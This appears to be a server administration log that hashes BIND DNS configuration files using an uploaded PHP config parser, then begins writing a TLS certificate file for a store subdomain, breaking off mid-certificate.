MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-27 13:20:18: Establishing a connection
2025-11-27 13:20:18: 

PUT: /tmp/pkp628680

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-27 13:20:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp628680; rm /tmp/pkp628680'

2025-11-27 13:20:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-27 13:25:33: Establishing a connection
2025-11-27 13:25:34: 

PUT: /tmp/pkp826261

#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt

cat > $temp_file <<'endmsg'
82:02:7f:d7:e0:ab:dd:79:a3:59:ee:4b:0d:03:e0:41

-----BEGIN CERTIFICATE-----
MIIDaTCCAlGgAwIBAgIUcC1ZIwx4gDBsXnLBPw0GK4baUDEwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTEyNzEzMjUzM1oXDTI2MTEyNzEzMjUzM1ow
IjEgMB4GA1UEAwwXc3RvcmUua2p2ZGljdGlvbmFyeS5vcmcwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCb/ZuLIFIk5TUCBo/0VhOZY3SB8RVxlpDUgvN0
swpfpsOncr8UghQtFDbvBqH/Oq2n66RJfS38EyQIYsZZOGSASxEmjYu2TMjj3ebm
EQ+oWXll2ZsVe5tt/qJ5hvQ6K15aA4YnaGOikH83WfQ2wRMC/xWnCV/rW7NUe5Ck
CxSydN+aXVopXnIt07E3ChKzms+8jwfi9yRYoXgR/CR2Rb86g1AMEMdVKs4WjsRU
